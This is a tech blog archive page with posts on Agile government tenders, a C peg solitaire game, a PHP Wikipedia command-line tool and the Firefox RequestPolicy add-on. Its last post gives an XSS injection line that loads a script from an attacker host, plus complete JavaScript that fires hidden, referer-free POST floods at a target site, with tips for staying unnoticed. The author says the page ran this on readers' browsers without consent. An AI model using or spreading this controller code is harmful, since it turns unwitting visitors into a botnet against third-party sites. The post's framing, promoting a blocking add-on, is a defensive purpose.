Archives
Visitors
  • 52763This month:
  • 669Today:
  • 13Currently online:



LeaseWeb CDN

Hey government! Agile software tenders please..

This is a follow-up on my Dutch article on Agile government software development tenders. I believe that the current tender strategy on software builds is causing a waste of (tax) money by our (Dutch) government.

Apparently governments think that bigger tenders lead to lower costs. They probably think that higher volume allows for lower margins. This is an economic rule and this means that it should be true for all industries, right? Not for software development. Big tenders lead to BDUF (Big Design Up Front), which means: less control, steering, validation and thus higher risk of failure.

If you calculate the risk of failure as part of the costs, then the simple economic rule “higher volume allows for lower margins” is no longer true (for software development).

So for the above misconception software development projects are made as big as possible. The government will try to describe what should be build in this huge contract. In the software industries these descriptions are called “specs” (or specifications). There can be hundreds of specs. The contractor has no other option than to “build to spec”, which means that even if the specification is wrong. he has to build it wrong, because the spec is part of the contract and this is agreed.

Specs fail, Agile does not

Even if the spec was written correctly in 2011 and the specs were finished by 2012 and then the project finished in 2014, it may be that the specs are no longer valid. This is what we call in software development a “moving target”. So now there are 3 options:

  1. Ignore that we are building something that is not needed anymore.
  2. Adjust the specs, but this means we have to renegotiate price and delivery time.
  3. Move the work to “extra work” category in which it will be charged an hourly fee.

Every deviation or unclarity in the original spec can be used to earn extra money or make the deadline fluid. Writing a spec is very hard. So hard that it is, in my opinion, impossible to write an unambiguous and good spec in a reasonable amount of time.

So as a government you have to choose between two evils. Either you hold the contractor to build something that is not useful or you change the spec. In the first case the project fails and in the second case you have to pay extra and/or accept that the deadlines shifts.

To make matters worse the government rules clearly state that the cheapest offer should be chosen. I believe that contractors understand the rules of the game and that is why they are underbidding. This leads to an even more stubborn contractor as he needs to “earn back” the money he “lost” to win the tender.

Not lean at all! Reduce waste now

This is a very ugly game that is played with our tax money. And in my opinion the government should apply what we have learned years ago in the product software business: work Agile. In Agile we only commit on effort and not on spec. We let a group of experts work for 2 weeks on a project, look at the result, steer the direction and continue.

Governments should make a few domain experts available for the project. These people should be seen as the “customer on-site”. The domain experts and the contractor winning the bid should use a SCRUM way of working to guarantee short feedback cycles.

Then one last thing: Software building should no longer be seen as projects, but should be considered products. If people work on software for a limited time, they are less committed to its quality and reduced complexity. Also the software that the government offers should be constantly changing as does our world, the government regulations and all other software around us.

Further reading:

  1. http://www.computerworld.co.nz/article/492220/agile_approach_may_clash_govt_tender_policy/
  2. http://www.computerweekly.com/news/2240187680/Government-tenders-for-agile-digital-developers
  3. http://diginomica.com/2014/04/22/uk-government-spending-millions-agile-development-coaching-training/

 

Play peg solitaire on the Linux command line

peg-solitaire

Peg solitaire rules

Peg solitaire is a very old game that you can play alone to kill some time. Classic versions are made of a wooden playfield with indentations for either wooden pegs or glass marbles on them. The objective is to remove one peg from the center and jump pegs until you have only one peg left in the center.

When one peg jumps over another peg, then the peg that you jumped over is removed from the playing field. The peg that made the jump is not removed and is now located either 2 positions up, left, right or down from it’s initial position. Diagonal jumps are not allowed, nor are jumps over multiple pegs at once.

Peg solitaire layouts

peg-solitaire_layouts

There are several layouts of the playing field. The picture above shows the layouts that are most common. The French layout is also called the “European” layout. Special about the European layout is that you cannot start and finish in the center, but you should start one peg above the center and end one peg below the center.

Implementation in C

I have written a Peg solitaire implementation in C for the Linux command line, just like I did with the 2048 game. It is again a single C file that you can easily compile with gcc and has no external dependencies. You can start the application with the layout name (from the picture above) as the first argument. If you did not provide any arguments the most common layout (English) is chosen.

wget https://raw.githubusercontent.com/mevdschee/peg-solitaire.c/master/peg-solitaire.c
gcc -o peg-solitaire peg-solitaire.c
./peg-solitaire french

Linux ANSI codes for command-line games

When you are going to write games for the command line you will probably need ANSI control sequences. ANSI control sequences allow you to: clear the screen, show or hide the cursor, move the cursor position, change the color of the characters and their background. Here is an overview of the most useful ANSI control sequences when creating console games:

printf("\e[2J");      // clear screen and move cursor to root
printf("\e[#;#H");    // move cursor to position #,# (default 1,1)
printf("\e[#A");      // move cursor # lines up (default 1)
printf("\e[#B");      // move cursor # lines down (default 1)
printf("\e[#C");      // move cursor # columns right (default 1)
printf("\e[#D");      // move cursor # columns left (default 1)
printf("\e[?25l");    // hide cursor
printf("\e[?25h");    // show cursor
printf("\e[0m");      // reset attributes (and color)
printf("\e[1m");      // set attribute bold
printf("\e[2m");      // set attribute half-bright
printf("\e[4m");      // set attribute underscore
printf("\e[7m");      // set attribute reverse video
printf("\e[21m");     // unset attribute bold
printf("\e[22m");     // unset attribute half-bright
printf("\e[24m");     // unset attribute underscore
printf("\e[27m");     // unset attribute reverse video
printf("\e[3#m");     // set foreground color to # (0-7)
printf("\e[4#m");     // set background color to # (0-7)
printf("\e[38;5;#m"); // set foreground color to # (0-255)
printf("\e[48;5;#m"); // set background color to # (0-255)

Check the ANSI palette script to see what colors are possible:

bash_256_colors

To get a good overview of supported codes in Linux read the man page:

man console_codes

Disable input buffering and local echo in Linux

Normally input is buffered and only when you press the “enter” key the input is readable from the standard input of the application. Also input is shown on the screen. When you are programming a game you don’t want this. You need to respond directly when a key is pressed and there is no need to display the pressed keys. This can be achieved by disabling input buffering and local echo. In C this is done with the following function:

#include <termios.h>
#include <stdbool.h>

void setBufferedInput(bool enable) {
	static bool enabled = true;
	static struct termios old;
	struct termios new;

	if (enable && !enabled) {
		// restore the former settings
		tcsetattr(STDIN_FILENO,TCSANOW,&old);
		// set the new state
		enabled = true;
	} else if (!enable && enabled) {
		// get the terminal settings for standard input
		tcgetattr(STDIN_FILENO,&new);
		// we want to keep the old setting to restore them at the end
		old = new;
		// disable canonical mode (buffered i/o) and local echo
		new.c_lflag &=(~ICANON & ~ECHO);
		// set the new settings immediately
		tcsetattr(STDIN_FILENO,TCSANOW,&new);
		// set the new state
		enabled = false;
	}
}

For the full source code check out: https://github.com/mevdschee/peg-solitaire.c

Wikipedia client for the command line

wped

Don’t you want the power of Wikipedia at your fingertips when you are logged into your Linux server? With this tool you can! It is build with PHP/Curl and is based on the Wikipedia API.

Wikipedia (open)search API

Wikipedia allows us to program software that takes advantage of their huge database of articles and definitions. They do this by exposing an API. I implemented their “opensearch” API call to search for articles. We are not doing anything unintended. Wikipedia made the API to allow people to build useful (or less useful, you decide) tools like this one. They do ask people to behave nicely in their Wikipedia API Etiquette, so read them and behave!

HTML to text

Instead of making my own wikitext parser, I used the Wikipedia “parse” API call. This call transforms articles from the internal wikitext format to HTML. I use the command line application “elinks” (alternative to the “lynx” text-mode web browser) to convert the HTML to text so it can be displayed on the console. This browser software is configured not to use the network or write files to disk, so you do not have to worry about your privacy.

How does this work?

It is a PHP script that uses Curl. The whole wped script is currently only 70 lines of code. The opensearch call is really easy to implement as you can see below:

$url = 'http://en.wikipedia.org/w/api.php';
$user_agent = 'Wped/0.1 (http://github.com/mevdschee/wped) PHP-Curl';

$curl = curl_init();
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_USERAGENT, $user_agent);

$arguments = array(
  'action'=>'opensearch',
  'search'=>$search,
  'limit'=>3,
  'namespace'=>0,
  'format'=>'xml'
);

curl_setopt($curl, CURLOPT_URL, $url.'?'.http_build_query($arguments));
$results = simplexml_load_string(curl_exec($curl));

With this example it should be easy for you to start building your own Wikipedia tool, let me know if you did!

Quickstart

To install, just copy-paste the following lines in your console:

sudo apt-get install php5-cli php5-curl elinks
wget https://raw.githubusercontent.com/mevdschee/wped/master/wped.php -O wped
chmod 755 wped
sudo mv wped /usr/bin/wped

To uninstall use the following:

sudo rm /usr/bin/wped

Congratulations, now you can search for elephants using the “wped” command! And if you need the full article you can use the “-f” flag.

Yes! I need this, fast!

How can you have lived without it? Why would you ever use “wget”, when you can use “wped”? It adds so much fun to all your Wikipedia searches. The source and full instructions are available on my Github account: https://github.com/mevdschee/wped

 

Use RequestPolicy to browse safer with Firefox

requestpolicy_logo

When I talk about web browsers and privacy I often encounter the “I have nothing to hide”, “they are not profiling us”, “they cannot track everyone” and “targeted ads are convenient” arguments. What nobody says is that:

Your browser may be part of an evil DDoS bot-net!

Recently I executed an experiment to see whether I could use a cross site scripting (XSS) vulnerability in a popular web page to turn the visitors into a controllable DDoS bot-net. Even with little traffic the bot-net turned out to be capable of doing large numbers of anonymous POST requests to bring down a target site. This turned out to be shockingly easy in all popular up-to-date browsers.

But even if your browser does not make you part of an evil DDoS bot-net due to cross-site scripting attacks, then cross-site script, image and frame loading may still cause uncontrolled spread of PII (Personally identifiable information). For instance, the Facebook “like” and Google “+1″ buttons are not as innocent as they look.

When I type an address in my browser bar or click a link in a search engine, then I am choosing to visit the site and give that site my IP address and let it track my behavior on the site. If the site has a good privacy policy (and respects it) then I do not have to worry about anyone (other than the site admins) knowing what I am doing at that moment in time, or who and where I am.

Cross-site request blocking with RequestPolicy and Firefox

requestpolicy0

I asked myself: Would there be a user-friendly plug-in to block cross-site requests? In my opinion blocking cross-site requests is a more solid solution than having to rely on block-lists provided by AdBlockPlus, EasyPrivacy and Fanboy. It did not take me long to find that there is a plug-in for Mozilla Firefox called “RequestPolicy” that does just that. Below I show in pictures how to set it up:

requestpolicy1

When you install it you can choose a series of sites to add to your white list. I choose none.

requestpolicy2

I choose to allow all cross-site requests that have the same base domain to allow sites that use cookie-less domain optimization.

requestpolicy3

I did not change any of the defaults in the “Advanced” section of the plug-in preferences.

requestpolicy4

In the menu bar you find the “red flag” icon with a nice context menu, note the convenient “Temporarily allow requests from google.nl” shortcut. If you want to make Google work permanently (if you don’t like Duck Duck Go), you may choose the “Allow requests from google.nl” option. This will add the domain to your Origins white-list as you can see below:

requestpolicy6

It is a good idea to review the white-list pages every now and then. It is a lot of fun (and insightful) to see the “Request Log” that you can find in the menu when you right click on the red flag (second option):

requestpolicy5

RequestPolicy Continued

There is some talk on the author (Justin Samuel) being very busy and the community taking over development:

For those wondering why it hasn’t been updated since last July, though, it’s because the main developer has been busy working on another project. In the meantime, the community has forked the project into RequestPolicy Continued, which is still in beta but features many bugfixes and new enhancements. – Reddit

Surf safe and enjoy your privacy (because you’re worth it).

Your browser may be part of an evil DDoS bot-net!

iframe_injection

Okay, say we can inject the following HTML into a fairly popular XSS vulnerable blog:

<script type="text/javascript" src="https://attackers-server.com/controller.js"></script>

Visitors will load the following script from the attacker’s server:

function loadIframe(i,obj) {
    var iframe = document.createElement('iframe');
    iframe.style.display = "none";
    iframe.src = 'about:blank';
    document.body.appendChild(iframe);
    var postdata = '<form method="'+htmlEntities(obj.method)+'" action="'+htmlEntities(obj.url)+'">';
    for (var key in obj.parameters) {
        if (obj.parameters.hasOwnProperty(key)) {
            postdata += '<input type="hidden" name="'+htmlEntities(key)+'" value="'+htmlEntities(obj.parameters[key])+'" />';
        }
    }
    postdata += '</form>';
    if (iframe.contentWindow.document.body) {
        iframe.contentWindow.document.body.innerHTML = postdata;
        iframe.contentWindow.document.forms[0].submit();
    }
}

function loadIframes(obj) {
    for (var i=0;i<obj.count;i++) {
        loadIframe(i,obj);
    }
}

function htmlEntities(str) {
    return String(str).replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;').replace(/"/g, '&quot;');
}

function addEvent(element, eventName, fn) {
    if (element.addEventListener)
        element.addEventListener(eventName, fn, false);
    else if (element.attachEvent)
        element.attachEvent('on' + eventName, fn);
}

addEvent(window, 'load', function(){
    loadIframes({
        "method":"POST",
        "url":"http://target-server.com/contact.php",
        "parameters":{"email":"aaa@bbb.ccc","message":"blabla"},
        "count":10
    });
});

If you keep the count fairly low then the visitors of the XSS vulnerable blog might not even notice it. Note that “iframe.src = ‘about:blank';” in combination with “iframe.contentWindow.document.body.innerHTML = postdata;” will avoid the referer to be sent, even on https-to-https connections (referers are never sent on https-to-http connections).

NB: Your browser has been used as a DDoS bot, attacking one of my own websites with 20 post requests to a login page. This all happened when you loaded this page and you probably did not even notice, or did you?

If you want to prevent this vulnerability you may want to use the Mozilla Firefox RequestPolicy plug-in.